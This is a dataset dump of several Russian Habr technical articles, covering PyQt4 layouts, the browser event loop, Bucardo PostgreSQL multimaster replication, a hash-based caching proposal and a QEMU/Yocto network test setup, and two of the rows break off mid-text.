text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# PyQt4 — Управление расположением виджетов
Важной частью программирования является управление расположением элементов. Управление расположением это то, как мы размещаем виджеты на форме. Тут есть два пути: использование абсолютного позиционирования (absolute positioning) или же использование классов расположения (layout classes).
**Абсолютное позиционирование**
Программист указывает положение и размер каждого виджета в пикселях. Когда вы используете абсолютное расположение вы должны понимать несколько вещей:
размер и положение виджета не изменяется при изменении размеров окна
приложение может выглядеть различно на разных платформах
изменение шрифта в вашем приложении может испортить расположение
если вы решаете изменить раскладку, вы должны полностью повторить её, что отнимает много времени
`#!/usr/bin/python
import sys
from PyQt4 import QtGui
class Absolute(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle('Communication')
label = QtGui.QLabel('Couldn\'t', self)
label.move(15, 10)
label = QtGui.QLabel('care', self)
label.move(35, 40)
label = QtGui.QLabel('less', self)
label.move(55, 65)
label = QtGui.QLabel('And', self)
label.move(115, 65)
label = QtGui.QLabel('then', self)
label.move(135, 45)
label = QtGui.QLabel('you', self)
label.move(115, 25)
label = QtGui.QLabel('kissed', self)
label.move(145, 10)
label = QtGui.QLabel('me', self)
label.move(215, 10)
self.resize(250, 150)
app = QtGui.QApplication(sys.argv)
qb = Absolute()
qb.show()
sys.exit(app.exec_())`
Мы просто вызываем метод move() для изменения положения виджетов, в нашем случае это QLabel. Мы располагаем их согласно координатам X и Y. Начало системы координат находится в левом верхнем углу окна. Координата X растёт справа налево, а Y сверху вниз.
**Box Layout** (не придумал перевода)
Управление расположением с помощью классов раскладки является более гибким и практичным. Это предпочтительный способ расположения виджетов. Простые классы раскладки это QHBoxLayout и QVBoxLayout. Они располагают виджеты горизонтально и вертикально.
Представим, что мы хотим разместить две кнопки в правом нижнем углу формы. Чтобы создать такую раскладку мы будем использовать один горизонтальный и один вертикальный ящик (box). Необходимое пространство мы получим добавив фактор растяжения (stretch factor).
`#!/usr/bin/python
import sys
from PyQt4 import QtGui
class BoxLayout(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle('box layout')
ok = QtGui.QPushButton("OK")
cancel = QtGui.QPushButton("Cancel")
hbox = QtGui.QHBoxLayout()
hbox.addStretch(1)
hbox.addWidget(ok)
hbox.addWidget(cancel)
vbox = QtGui.QVBoxLayout()
vbox.addStretch(1)
vbox.addLayout(hbox)
self.setLayout(vbox)
self.resize(300, 150)
app = QtGui.QApplication(sys.argv)
qb = BoxLayout()
qb.show()
sys.exit(app.exec_())`
`ok = QtGui.QPushButton("OK")
cancel = QtGui.QPushButton("Cancel")`
Здесь мы создаём две кнопки QPushButton.
`hbox = QtGui.QHBoxLayout()
hbox.addStretch(1)
hbox.addWidget(ok)
hbox.addWidget(cancel)`
Создаём горизонтальную раскладку и добавляем фактор растяжения для обоих кнопок.
`vbox = QtGui.QVBoxLayout()
vbox.addStretch(1)
vbox.addLayout(hbox)`
Создаём верктикальную раскладку.
`self.setLayout(vbox)`
И в конце устанавливаем главную раскладку для окна.
**QGridLayout**
Самый универсальный класс раскладок это расположение таблицей. Эта раскладка делит пространство на строки и столбцы. Для её создания используется класс QGridLayout.
`#!/usr/bin/python
import sys
from PyQt4 import QtGui
class GridLayout(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle('grid layout')
names = ['Cls', 'Bck', '', 'Close', '7', '8', '9', '/',
'4', '5', '6', '*', '1', '2', '3', '-',
'0', '.', '=', '+']
grid = QtGui.QGridLayout()
j = 0
pos = [(0, 0), (0, 1), (0, 2), (0, 3),
(1, 0), (1, 1), (1, 2), (1, 3),
(2, 0), (2, 1), (2, 2), (2, 3),
(3, 0), (3, 1), (3, 2), (3, 3 ),
(4, 0), (4, 1), (4, 2), (4, 3)]
for i in names:
button = QtGui.QPushButton(i)
if j == 2:
grid.addWidget(QtGui.QLabel(''), 0, 2)
else: grid.addWidget(button, pos[j][0], pos[j][1])
j = j + 1
self.setLayout(grid)
app = QtGui.QApplication(sys.argv)
qb = GridLayout()
qb.show()
sys.exit(app.exec_())`
В нашем примере, мы создаём таблицу кнопок. Одну ячейку оставляем пустой, добавляя один виджет QLabel.
`grid = QtGui.QGridLayout()`
Здесь мы создаём раскладку таблицей.
`if j == 2:
grid.addWidget(QtGui.QLabel(''), 0, 2)
else:
grid.addWidget(button, pos[j][0], pos[j][1])`
Чтобы добавить виджет в таблицу мы должны вызвать метод addWidget(), передав в качестве аргументов виджет, а также номера строки и столбца.
Виджеты могут занимать несколько строк или столбцов и в следующем примере мы покажем это.
`#!/usr/bin/python
import sys
from PyQt4 import QtGui
class GridLayout2(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle('grid layout')
title = QtGui.QLabel('Title')
author = QtGui.QLabel('Author')
review = QtGui.QLabel('Review')
titleEdit = QtGui.QLineEdit()
authorEdit = QtGui.QLineEdit()
reviewEdit = QtGui.QTextEdit()
grid = QtGui.QGridLayout()
grid.setSpacing(10)
grid.addWidget(title, 1, 0)
grid.addWidget(titleEdit, 1, 1)
grid.addWidget(author, 2, 0)
grid.addWidget(authorEdit, 2, 1)
grid.addWidget(review, 3, 0)
grid.addWidget(reviewEdit, 3, 1, 5, 1)
self.setLayout(grid)
self.resize(350, 300)
app = QtGui.QApplication(sys.argv)
qb = GridLayout2()
qb.show()
sys.exit(app.exec_())`
`grid = QtGui.QGridLayout()
grid.setSpacing(10)`
Создаём раскладку таблицей и указываем расстояние между виджетами.
`grid.addWidget(reviewEdit, 3, 1, 5, 1)`
Если мы добавляем виджет в раскладку, мы можем указать сколько строк или столбцов он объединяет. В нашем случае reviewEdit объединяет 5 строк.
 | https://habr.com/ru/post/31687/ | null | ru | null |
# Оптимизация производительности фронтенда. Часть 2. Event loop, layout, paint, composite
*Ночь. Стук в дверь. Открыть. Стоят двое. "Верите ли вы в Event loop, нашу главную браузерную цепочку?" Вздохнуть. Закрыть дверь. Лечь досыпать. До начала рабочего дня еще 4 часа. А там уже ивент лупы, лейауты и прочая радость…*
[В первой части](https://habr.com/ru/company/hh/blog/513940/) мы говорили о первой загрузке и работе с ресурсами. Сегодня я расскажу о второй части оптимизации производительности фронтенда. О том, что происходит с нашей страницей, когда она загружена, на что уходит процессорное время и что с этим делать. Ключевые слова: event loop, paint \ repaint, layout \ reflow, composite.
Завязка. Вопросы для самопроверки
---------------------------------
*Если хочется сразу начать поглощать контент статьи, пропустите этот раздел*
Event loop популярен не только в ежедневной работе, но и на собеседованиях. И пойди разберись, где он популярнее. Существует три вопроса, которые можно задать себе, чтобы проверить, понимаете ли вы этот браузерный механизм. Два из них — завсегдатаи собеседований, а вот третий показывает понимание event loop для своей практики. Они довольно простые, но будут расставлены по возрастанию сложности:
1. Будет ли выведено "1" в консоль? Почему?
```
function loop() {
Promise.resolve().then(loop);
}
setTimeout(() => {console.log(1)}, 0);
loop();
```
2. Есть сайт, а на сайте ссылка, у которой при наведении `cursor: pointer` ставится через `:hover` стиль CSS и кнопка, у которой также по `:hover` меняется `background-color` c серого на синий. Добавляем скрипт:
```
while (true);
```
**Вопрос**: Что будет если навести мышку на ссылку? А на кнопку? Почему?
3. Как анимировать выпадающий элемент по height с 0 до auto? Здесь важно обсудить способы c помощью JS и/или CSS. Кстати, если гуглить этот вопрос, то stackoverflow вначале предлагает неверный ответ. Суть понимания event loop и работы браузеров сводится к тому, как замерить то самое `height = auto` с помощью JS.
Наша цель
---------
Прийти к достаточно глубокому пониманию вот этой схемы:
Идти к ней будем постепенно, с подробными остановками на каждом из этапах
Event Loop
----------
В старых операционных системах была похожая штука. Выглядела она условно вот так:
```
while (true) {
if (execQueue.isNotEmpty()) {
execQueue.pop().exec();
}
}
```
Такой код всегда забивал ЦПУ процессоров в 100%. Что и было в старых версиях windows. Сейчас планировщики операционных систем очень сложные. Там есть и приоритизация, и исполнение, и различные очереди.
Итак. Чтобы начать, нам понадобится какой-то бесконечный цикл, который будет опрашивать, есть ли у нас задачи. Например такой:
Теперь нам нужно откуда-то эти задачи получать.
Зададим себе вопрос: что является триггером, чтобы наш JS код начал выполняться?
Это может быть:
1. Браузер загрузил тег | https://habr.com/ru/post/517594/ | null | ru | null |
# Bucardo: Multimaster репликация
В процессе мучений перелопатил тонну статей и решил написать подробнокомментируемый мануал. Тем более, что информации по конфигурированию multimaster и на русском языке очень мало и она какая-то кусочная.
Немного вводной. Чтобы Bucardo заработал, мы должы:
1) Сказать ему какие базы-участники на каких серверах вообще существуют.
2) Сказать ему какие таблицы участвуют в репликации.
*Внимание: если разработчики добавят в приложение новую таблицу, мы должны об этом сообщить bucardo. То же самое касается изменения схемы существующих таблиц.*
3) Сказать ему какие группы таблиц существуют и какие таблицы попадают в какие группы. Группы нужны на тот случай, если между разными серверами надо реплицировать разные таблицы. Удобнее работать с группой, чем каждую отдельно указывать (очень похоже на группы в Nagios).
4) Сказать ему какие группы баз данных существуют. Цель — та же, что и для таблиц.
Перейдем к установке. Вариант для Debian 7. Подразумевается, что пакеты postgresql-9.1 и postgresql-client-9.1 уже установлены.
##### Предварительная подготовка
Серверы будут называться **node1** и **node2**. Обязательно также проверить, чтобы все участвующие PostreSQL-серверы слушали внешние интерфейсы:
```
# netstat -plnt4 | grep 5432
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN 12345/postgres
```
Устанавливаем пакет Bucardo и поддержку PL/Perl для PostgreSQL на каждом из серверов:
```
# apt install bucardo postgresql-plperl-9.1
```
Активируем на каждом из серверов:
```
# sed -i 's/ENABLED=0/ENABLED=1/' /etc/default/bucardo
```
Мейнтенеры пакета почему-то не догадались создать директорию под PID, поэтому создадим ее сами на каждом из серверов:
```
# mkdir /var/run/bucardo
```
Удостоверяемся, что мы можем подключиться через TCP-сокет к СУБД на каждом из серверов:
```
# psql -U postgres -h 127.0.0.1
```
Если не помните пароль, то простейшая инструкция [здесь](http://null-step.blogspot.ru/2008/11/postgresql.html).
Если PG не хочет принимать запросы с конкретного адреса конкретного пользователя, то настройте /etc/postgresql/9.1/main/pg\_hba.conf
Далее будет происходить инициализация базы. Она будет создана пользователем postgres, но наполнена пользователем bucardo, поэтому можно упереться в проблему подключения.
Дабы ее избежать, заранее внесем строку для него в /etc/postgresql/9.1/main/pg\_hba.conf. Кроме того, уже в процессе работы Bucardo будет обращаться не только к своей ноде кластера, но и к парной. Поэтому ее тоже не забываем. Если у Вас в кластере серверов больше, то не забудьте о них. На каждом из серверов:
```
host all bucardo 127.0.0.1/32 trust
host all bucardo SECOND.NODE.IP.ADDRESS/32 password
```
После этого рестартанем СУБД:
```
# pg_ctlcluster 9.1 main restart
```
##### Установка Bucardo
Утилита bucardo\_ctl в последних версиях Debian была заменена на bucardo, поэтому мы будем использовать ее.
Инициализируем базу данных:
```
# bucardo install
```
Диалог выглядит примерно так:
```
# bucardo install
This will install the bucardo database into an existing Postgres cluster.
Postgres must have been compiled with Perl support,
and you must connect as a superuser
Current connection settings:
1. Host: localhost
2. Port: 5432
3. User: postgres
4. Database: postgres
5. PID directory: /var/run/bucardo
Enter a number to change it, P to proceed, or Q to quit: P
Password for user postgres:
Postgres version is: 9.1
Password for user postgres:
Creating superuser 'bucardo'
Password for user postgres:
Attempting to create and populate the bucardo database and schema
Password for user postgres:
Database creation is complete
Updated configuration setting "piddir"
Installation is now complete.
If you see errors or need help, please email bucardo-general@bucardo.org
You may want to check over the configuration variables next, by running:
bucardo show all
Change any setting by using: bucardo set foo=bar
```
В процесс инициализации база была создана из файла /usr/share/bucardo/bucardo.schema, поэтому нет необходимости ее заполнять руками, как это описано в мануалах прошлых версий.
Bucardo установлен, можно его запустить:
```
# bucardo start
```
##### Настройка репликации
Прежде, чем настроить репликацию, создадим тестовые базы, которые будем реплицировать.
На каждом из серверов:
```
# psql -U postgres -c "CREATE DATABASE mydb;"
# psql -U postgres mydb -c "CREATE TABLE mytable ( num123 integer PRIMARY KEY, abc varchar(10) );"
```
Еще один важный момент касательно безопасности. После добавления реплицируемой базы в настройку, Bucardo впишет пароль пользователя в базу. А так как при установке он его не запросил, то сделал его точно таким же, как у пользователя postgres. Другими словами у нас в базе bucardo будет храниться в открытом виде пароль от суперпользователя, что несколько опасно.
Поэтому сделаем ему другой пароль. На каждом из серверов:
```
# psql -U postgres -c "ALTER USER bucardo WITH PASSWORD 'eiP4uSash5';"
```
Далее даем информацию Bucardo, как подключиться к базе данных, которую будем реплицировать. Я не поклонник Unix-сокетов в условиях высокой нагрузки (отдельная тема для разговора), поэтому даже там, где локально, укажем TCP-сокет.
ВНИМАНИЕ: Это мы делаем на сервере node1. И вообще далее работаем только с node1 пока не уточнено, что надо делать на обоих.
Добавим локальную (mydb\_node1) и ее удаленную копию (mydb\_node2) с сервера node2:
```
# bucardo add database mydb_node1 dbname=mydb dbhost=127.0.0.1 dbuser=bucardo dbpass=eiP4uSash5
Added database "mydb_node1"
```
```
# bucardo add database mydb_node2 dbname=mydb dbhost=node2.example.com dbuser=bucardo dbpass=eiP4uSash5
Added database "mydb_node2"
```
Здесь:
mydb\_nodeX — внутренее обозначение базы. Это имя Bucardo использует во внутренних работах с базой.
dbname=mydb — реальное имя базы в PostgreSQL, на которое ссылается mydb\_nodeX.
dbuser=bucardo — под кем Bucardo будет подключаться к СУБД, чтобы работать с этой базой.
Результат мы можем видеть так:
```
# bucardo list database
Database: mydb_node1 Status: active Conn: psql -p -U bucardo -d mydb -h 127.0.0.1
Database: mydb_node2 Status: active Conn: psql -p -U bucardo -d mydb -h node2.example.com
```
Эти настройки берутся из таблицы db базы bucardo, где и сидит упомянутый выше пароль:
```
# psql -U postgres bucardo -c "SELECT name,dbname,dbhost,dbuser,dbpass,status FROM db;"
name | dbname | dbhost | dbuser | dbpass | status
------------+--------+-------------------+---------+------------+--------
mydb_node1 | mydb | 127.0.0.1 | bucardo | eiP4uSash5 | active
mydb_node2 | mydb | node2b.forbet.net | bucardo | eiP4uSash5 | active
(2 rows)
```
Теперь нам надо добавить таблицу, которую мы будем между ними реплицировать. В большинстве случаев люди реплицируют целиком базу, поэтому уж сразу все добавим (группа таблиц(herd) создастся автоматически). Если разработчики придумают новую таблицу, мы просто добавим ее потом в группу и все само заработает — так как дальнейшие настройки будут касаться группы целиком.
```
# bucardo add table all --db=mydb_node1 --herd=mydb_herd
Creating herd: mydb_herd
Added table public.mytable to herd mydb_herd
New tables added: 1
```
Здесь:
--herd=mydb\_herd — имя группы таблиц, чтобы потом настраивать синхронизацию не к каждой отдельно, а всем скопом.
И сразу можем ее посмотреть:
```
# bucardo list tables
1. Table: public.mytable DB: mydb_node1 PK: num123 (int4)
Здесь нужно заострить внимание на PK. Bucardo, похоже, не работает с таблицами без первичных ключей. Вы потом не сможете синк сделать.
```
И группу тоже видно:
```
# bucardo list herd
Herd: mydb_herd DB: mydb_node1 Members: public.mytable
```
Тоже самое касается последовательностей. В нашем примере их нет, но вдруг кто использует. Группу под них свою создавать не будем, чтобы не усложнять. Вероятность того, что таблицы реплицируются в одном направлении, а последовательности в другом — чрезвычайно мала. Поэтому пусть будет одна группа для таблиц и последовательностей:
```
# bucardo add sequence all --db=mydb_node1 --herd=mydb_herd
Sorry, no sequences were found
New sequences added: 0
```
Следующая наша задача создать репликационную группу. В этой группе мы скажем какая база будет источником, а какая реципиентом данных. Создадим сначала саму группу, пока пустую:
```
# bucardo add dbgoup other_mydb_servers
Created database group "mydb_servers_group"
```
Добавляем оба наших сервера в группу, указывая кто какую роль будет исполнять. **Это единственная точка, где отличаеся настройка master-slave от master-master**.
Изначально можно подумать, что source — это источник, а target — это реципиент. На самом деле это не совсем так. source — это тот, кто работает и как источник и как реципиент, а target — только реципиент.
То есть если у нас master-slave, то указываем одного source, а второго target. А если у нас master-master, то оба будут source, а target'ов не будет вообще.
###### Вариант для MASTER-->SLAVE:
```
# bucardo add dbgroup mydb_servers_group mydb_node1:source
Added database "mydb_node1" to group "mydb_servers_group" as source
# bucardo add dbgroup mydb_servers_group mydb_node2:target
Added database "mydb_node2" to group "mydb_servers_group" as target
```
###### Вариант для MASTER<-->MASTER:
```
# bucardo add dbgroup mydb_servers_group mydb_node1:source
Added database "mydb_node1" to group "mydb_servers_group" as source
# bucardo add dbgroup mydb_servers_group mydb_node2:source
Added database "mydb_node2" to group "mydb_servers_group" as source
```
Все! У нас написано какие есть базы. Написано какие есть в них таблицы. Написано кто в какой группе. Осталось сказать заключительный штрих — сказать какая группа таблиц будет «курсировть» между базами какой группы. Другими словами — создать «синк»:
```
# bucardo add sync mydb_sync herd=mydb_herd dbs=mydb_servers_group
Added sync "mydb_sync"
```
Можем посмотреть, что у нас получилось:
```
# bucardo list sync
Sync: mydb_sync Herd: mydb_herd [Active]
DB group mydb_servers_group: mydb_node1 (source) mydb_node2 (source или target - как настроили)
```
После изменения настроек обязательно рестартовать Bucardo:
```
# bucardo restart
```
========
Проверка: на первой ноде node1 запускаем:
```
# psql -U postgres mydb -c "INSERT INTO mytable VALUES (1, 'a');"
```
а на второй node2 проверяем:
```
# psql -U postgres mydb -c "SELECT * FROM mytable;"
```
кто сделал multimaster, тому надо и в обратном направлении проверять. Создаете на node2, а проверяете на node1.
========
Вопросы, которые возникнут у большинства людей:
1) Что будет с таблицей на target-базе, если таблица на source-базе была изменена пока Bucardo был выключен или сеть была недоступна?
Ответ: все Ok. При старте или при появлении сети Bucardo передаст данные на target-сервер. Так что target-сервер может ломаться как угодно. Единственное требование — на нем должна быть та же схема данных (структура таблиц), что и на первом.
\_\_
2) Если база большая (десятки-сотни гигабайт), Bucardo «отламывается» и не синхронизирует до конца. Как быть?
Ответ: переведите sync в состояние неактивного. Но Bucardo должен быть включен для source-базы для логивания запросов.
bucardo update sync mydb\_sync status=inactive (для multimaster на всех нодах)
Далее делаете pg\_dump/pg\_restore руками и возвращаете синк в активный режим (для multimaster сначала на той, куда шли новые запросы после запуска дампа). | https://habr.com/ru/post/327674/ | null | ru | null |
# Кэш, хэш и няш-меш
**UPD0 (2016-07-19 23-31): судя по всему, первая половина моей статьи — успешно изобретённый велосипед. Спасибо хабравчанам за [ссылку на спецификацию](https://www.w3.org/TR/2016/REC-SRI-20160623/)**
Статья ценна не более, чем вольное описание уже придуманной технологии.
Предыстория
===========
Июльский субботний вечер подходил к концу. Нарубив дров на шашлык, я повесил USB-модем на багету, скомандовал `sudo wvdial`, развернул браузер и обновил вкладку с открытым гитхабом. Вернее, попытался обновить. Скорость не радовала, и в итоге страница-то обновилась, но явно не хватало какого-то из стилевых файлов; и дело было не в блокировке, поскольку аналогичные проблемы я наблюдал и с другими сайтами, и зачастую они решались просто многократным обновлением страницы. Во всём был виноват перегруз 3G-сети.
Стоп! А как же кэш?
Недолгое гугление привело [на официальный гугловский мануал](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching?hl=ru). Целиком пересказывать его не буду; скорее всего, дело было в том, что браузер прилежно ждал, когда сервер передаст ETags, а ответ сервера затерялся в переполненных триджунглях.
Через пару дней, возвращаясь душным днём из кафе, я придумал рацпредложение, которое решает эту (и несколько других проблем), которое и излагаю в данной статье.
Суть предложения
================
Добавить ко всем тэгам для подключения *подчинённой* статики (стилей, скриптов, изображений) атрибут `checksum`, который бы хранил хэш (например, SHA-1, как в git) требуемого файла:
Найдя в теле веб-страницы подобный тэг, браузер смотрит, есть ли объект с таким хэшем в кэше, и если есть, то **не отправлять никаких запросов вообще**: и так понятно, что файл — ровно тот, который требуется. Файлы в кэше браузера лучше сразу хранить с именами, соответствующими их хэшам, как это делает тот же git.
Обратная совместимость предлагаемого решения очевидна.
Какие проблемы это решает?
--------------------------
### Пресловутая угадайка: актуален ли файл в кэше?
* Больше не нужно отправлять запрос и сличать полученные ETags.
* Даже если файл в кэше вроде как устарел, но хэш совпадает — его можно смело использовать.
* Чистка кэша как средство решения проблем частично теряет актуальность.
### Дилемма: jQuery со своего домена или с CDN?
Владельцам малых сайтов часто приходится выбирать: либо подключать jQuery и/или подобные ей библиотеки с CDN (гугловского, например), или со своего домена.
В первом случае уменьшается время загрузки сайта (в том числе первичной, т.е. при первом заходе посетителя на сайт) за счёт того, что файл с серверов Гугла с большой долей вероятности уже есть в кэше браузера. Но, например, разработчики WordPress придерживаются второго варианта, ставя во главу угла автономность. И в условиях, когда CDN падают, блокируются и т.д., их можно понять.
Теперь от такой проблемы можно будет избавиться навсегда: не всё ли равно, откуда получен файл, если его содержимое — это ровно то, что нужно html-странице, и она это удостоверяет? Можно смело указывать свой домен, и если библиотека есть в кэше (неважно, загруженная с этого сайта, другого "малого" сайта или из какого-нибудь CDN) — она подхватится.
### Смешанный HTTPS/HTTP-контент
Одна из причин запрета загрузки HTTP-ресурсов на HTTPS-страницах — возможность подмены HTTP-контента. Теперь это больше не преграда: браузер может получить требуемый контент и сверить его хэш с хэшем, переданным по HTTP. Отмена запрета на смешанный контент (при наличии и совпадении хэша) позволит ускорить распространение HTTPS.
### Косвенное определение истории по времени загрузки статики
Известно, что владелец некоторого сайта `evilsite.org` может (с некоторой долей вероятности) определить, был ли посетитель на другом сайте `goodsite.org`, запросив, например, изображение `goodsite.org/favicon.ico`. Если время загрузки иконки ничтожно мало — то она в кэше, следовательно, посетитель был на сайте `goodsite.org`. Теперь эта атака усложнится: околонулевое время отклика будет лишь обозначать, что посетитель был *на сайте с таким же фавиконом*. Это, конечно, не решает проблему целиком, но всё же несколько усложняет жизнь определяющему.
На что это не влияет?
---------------------
* На html-страницы
* На изображения, стили и скрипты, открываемые по непосредственной ссылке, а не служащие вспомогательными элементами страницы.
* На изображения, стили и скрипты, которые не предполагаются неизменными, например, когда подключается самая новая версия некоторой библиотеки с CDN этой библиотеки.
Идеология
---------
Как обычно (математик я, что уж тут поделать) сформулируем аксиомы, которые вкладываются в предложение:
1. **Все передаваемые файлы делятся на главные *(в основном html-страницы)* и подчинённые *(скрипты, изображения, стили и т.д.)*.**
В идеологии, заложенной в стандарты HTTP-кэширования, все файлы равноправны. Это, конечно, толерантно, но не отвечает современным реалиям.
2. **Неважно, откуда получен подчинённый файл. Важно, что его содержимое удовлетворяет нужды главного.**
В существующей идеологии даже сама аббревиатура URI — Uniform Resource Identifier — предполагает, что идентификатором ресурса является его адрес в сети. Но, увы, для подчинённых файлов это несколько не соответствует действительности.
Перспективы
===========
Обещанный няш-меш
-----------------
Зная хэш требуемого вспомогательно файла, можно почти смело запрашивать его у кого угодно; основная опасность: если опрашиваемый узел действительно имеет требуемый файл, то он знает его содержимое и, скорее всего, как минимум один URI-адрес, по которому требуемый файл может (или мог) быть получен. Имеем два варианта использования предлагаемой технологии с учётом этой угрозы с целью плавного подхода к няш-меш сети:
### Доверенные устройства
Например, в офисе работают программисты, ЭВМ которых объединены в локальную сеть. Программист Вася приходит рано утром, открывает гитхаб и получает в кэш стили от нового дизайна, который выкатили ночью (у нас — ночь, там — день). Когда в офис приходит программист Петя и тоже загружает html-код гитхабовской странички, его ЭВМ спрашивает у всех ЭВМ в сети: "А нет ли у вас файла с таким-то хэшем?" "Лови!" — отвечает Васина ЭВМ, экономя тем самым трафик.
Потом наступает перерыв, Вася и Петя лезут смотреть котиков и пересылают фотографии друг другу. Но каждый котик скачивается через канал офиса только один раз...
### Анонимный разделяемый кэш
Аня едет в трамвае с работы и читает новости… например, на Яндекс-Новостях. Встретив очередной тэг `![]()`, Анин телефон со случайного MAC-адреса спрашивает всех, кого видит: "Ребят, а ни у кого нет файла с таким-то хэшем?". Если ответ получен в разумное время — профит, Аня сэкономила недешёвый мобильный трафик. Важно почаще менять MAC-адрес на случайный да не "орать", когда в поле видимости слишком мало узлов и спрашивающего можно идентифицировать визуально.
Разумность времени ответа определяется исходя из стоимости трафика.
Дальнейший переход к няш-мешу
-----------------------------
Фотография в соцсети может быть представлена как блоб, содержаший хэш и адрес собственно изображения (возможно, в нескольких различных размерах), а также список комментариев и лайков. Этот блоб тоже можно рассматривать как вспомогательный файл, кэшировать и передавать друг другу.
Более того, альбом фотографий тоже легко превращается в блоб: список хэшей изображений + список хэшей блобов-фотографий (первое нужно, чтобы при добавлении лайка/комментария показывать фотографии сразу, а метаинформацию — по мере её получения).
Останется только реализовать электронную подпись и поля вида "замещает блоб такой-то" — и готова няш-меш-социалочка.
Компактизация хэша
------------------
В идеале при записи хэша следует использовать не шестнадцатеричную систему счисления, а систему с бОльшим основанием (раз уж мы взялись экономить трафик). Ещё одна идея — атрибут `magnet`, содержащий [magnet-ссылку](https://ru.wikipedia.org/wiki/Magnet-%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B0). Дёшево, сердито, стандартизировано и позволяет указывать также несколько классических адресов источников, что бывает немаловажно в случае ковровых блокировок и в случаях, когда браузеру известно, что трафик к различным серверам тарифицируется по-разному.
Поведение при несовпадении
--------------------------
Возможна ситуация, когда хэш полученного файла не совпал с требуемым. В таком случае разумно бы было предусмотреть мета-тэги, указывающие браузеру, следует ли такой файл использовать (по умолчанию — нет) и следует ли сообщить об инциденте серверу (по умолчанию — нет).
Файлы-альтернативы
------------------
В некоторых случаях можно использовать любой из нескольких файлов с разными хэшами. Например, на сайте используется минифицированная jQuery, но если в кэше браузера есть неминифицированная — что мешает использовать её?
Превентивное кэширование
------------------------
Многие устройства работают в двух режимах: когда интернет условно-безлимитен (например, мобильный телефон в вай-фай сети) и когда интернет ограничен (лимит по трафику или узкий канал). Браузер или расширение к нему может, пользуясь безлимитным подключением, заранее скачивать популярные библиотеки (наподобие jQuery и плагинов к ней), также по мере необходимости их обновлять. Это ли не мечта многих, чтобы jQuery была включена в браузер?
Заключение
==========
Выдвигаемое рацпредложение актуально, так как борьба за оптимизацию загрузки сайтов идёт полным ходом. Более всего выиграют малые и средние сайты за счёт разделяемых библиотек (и, может быть, некоторых часто используемых изображений) в кэше. Уменьшится потребление трафика мобильными устройствами, что важно с учётом ограниченной пропускной способности каналов сотового интернета. Крупные сайты также могут уменьшить нагрузку на свои серверы в случае, если будут внедрены mesh-технологии.
Таким образом, поддержка предлагаемой технологии выгодна и вебмастерам, чьи сайты будут грузиться быстрее, и производителям браузеров, которые тоже будут быстрее отображать страницы, и провайдерам, у которых уменьшится потребление полосы (пусть и не столь значительно, но от провайдеров активных действий и не требуется).
P.S.
Мне было бы очень приятно услышать мнение [Mithgol](https://habrahabr.ru/users/mithgol/), [Shpankov](https://habrahabr.ru/users/shpankov/) и [BarakAdama](https://habrahabr.ru/users/barakadama/).
P.P.S.
Хабр всезнающий, в какое спортлото отправлять рацпредложение? | https://habr.com/ru/post/305898/ | null | ru | null |
# Виртуальная сетевая среда для тестирования сетевых протоколов. Используем QEMU+YOCTO+TAP
Идея создания сетевой тестовой среды возникла когда пришла необходимость запускать и отлаживать устройства с IPsec и GRE протоколами. С похожими проблемами сталкивались и разработчики strongSwan. Проблема была с прогоном unit тестов. Они приготовили виртуальную сеть на базе UML (user mode linux). В [этом документе](https://www.strongswan.org/uml/DFN_UML.pdf) описано в общих чертах, что это такое и как работает. Подносить виртуальную сеть под UML буду при первой возможности, a на первом этапе тестовая среда была поднята на QEMU и на дистрибуциях приготовленных под YOCTO. Итак даная статья описывает: как создать свою дистрибуцию linux, поднять и настроить несколько инстанций QEMU, настроить виртуальную сеть и как пример поставить GRE туннель. Получается очень полезная штука для отладки и тестирования маршрутизаторов. Так, что всех заинтересованных приглашаю ниже.
В качестве Host использовалась дистрибуция Ubuntu.
```
Linux 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
```
Готовим дистрибуцию linux
-------------------------
Итак сначала подготовим дистрибуцию linux для виртуальных машин. Для этого используем систему сборки YOCTO. Дистрибуция получается лёгкая, а также даёт возможность конфигурации/компиляции ядра и установки дополнительных пакетов. Ещё один плюс, это кросс-платформенность дистрибуции linux. Потренировавшись на виртуальных сборках можем переносить дистрибуцию на встраиваемые системы. Подготовка дистрибуции может занять около часа или двух. Готовые сборки можно взять [здесь](https://drive.google.com/file/d/0B5GBijEWWZaxZV91UURXYXVEc3c/view?usp=sharing).
Необходимые инструменты
```
$sudo apt-get install chrpath gawk texinfo python
```
Возможно потребуется ещё кое-что.
### a) Установка yocto
```
$mk yocto
$cd yocto
$git clone -b pyro git://git.yoctoproject.org/poky.git
$git clone -b pyro git://git.openembedded.org/meta-openembedded
$source ./poky/oe-init-build-env
```
### б) Правка конфигурационных файлов
Рабочий каталог будет «yocto/ build»
Поправим установки.
В файле conf/bblayers.conf поправляем
`BBLAYERS ?= " \
/home/user/yocto/poky/meta \
/home/user/yocto/poky/meta-poky \
/home/user/yocto/poky/meta-yocto-bsp \
/home/user/yocto/meta-openembedded/meta-oe \
/home/user/yocto/meta-openembedded/meta-networking \
/home/user/yocto/meta-openembedded/meta-webserver \
/home/user/yocto/meta-openembedded/meta-python \
/home/user/yocto/meta-openembedded/meta-multimedia \
"`
Устанавливаем некоторые полезные пакеты. В файле /conf/local.conf
`# We default to enabling the debugging tweaks.
EXTRA_IMAGE_FEATURES ?= "debug-tweaks"
CORE_IMAGE_EXTRA_INSTALL = " \
kernel-modules \
lrzsz \
setserial \
strongswan \
opkg \
nbench-byte \
lmbench \
alsa-utils \
i2c-tools \
devmem2 \
dosfstools \
libdrm-tests \
netkit-ftp \
iproute2 \
iptables \
bridge-utils \
socat \
wget \
curl \
vlan \
dhcp-server \
dhcp-client \
ntp \
libstdc++ \
nginx \
ppp \
proftpd \
boost \
openssl \
openssh \
fcgi \
mc \
ethtool \
minicom \
procps \
tcpdump \
file"`
